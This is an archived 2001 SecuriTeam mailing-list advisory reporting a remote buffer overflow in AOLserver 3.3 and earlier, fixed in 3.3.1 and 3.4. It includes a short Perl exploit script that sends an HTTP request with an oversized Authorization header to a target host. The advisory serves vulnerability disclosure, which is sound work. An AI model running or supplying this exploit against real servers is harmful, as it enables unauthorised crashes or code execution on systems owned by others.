[EXPL] AOLserver Vulnerable To Host Buffer Overflow
From: support@securiteam.comDate: 08/29/01
- Previous message: support@securiteam.com: "[NEWS] @Home Network Subject to DHCP Hijacking"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Subject: [EXPL] AOLserver Vulnerable To Host Buffer Overflow Message-Id: <20010829083231.B693F138BF@mail.der-keiler.de> Date: Wed, 29 Aug 2001 10:32:31 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
AOLserver Vulnerable To Host Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.aolserver.com/> AOLserver is a multithreaded, Tcl-enabled web
server used for large scale, dynamic web sites. A vulnerability in the
product allows remote users to overflow an internal buffer used by the
program causing it to execute arbitrary code.
DETAILS
Vulnerable systems:
AOLserver version 3.3 and prior
Immune systems:
AOLserver version 3.4
AOLserver version 3.3.1
Exploit code:
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "cannot connect to http daemon on $host" }
$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
ADDITIONAL INFORMATION
The information has been provided by <mailto:nate@securitylogics.com>
Nate Haggard.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] @Home Network Subject to DHCP Hijacking"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
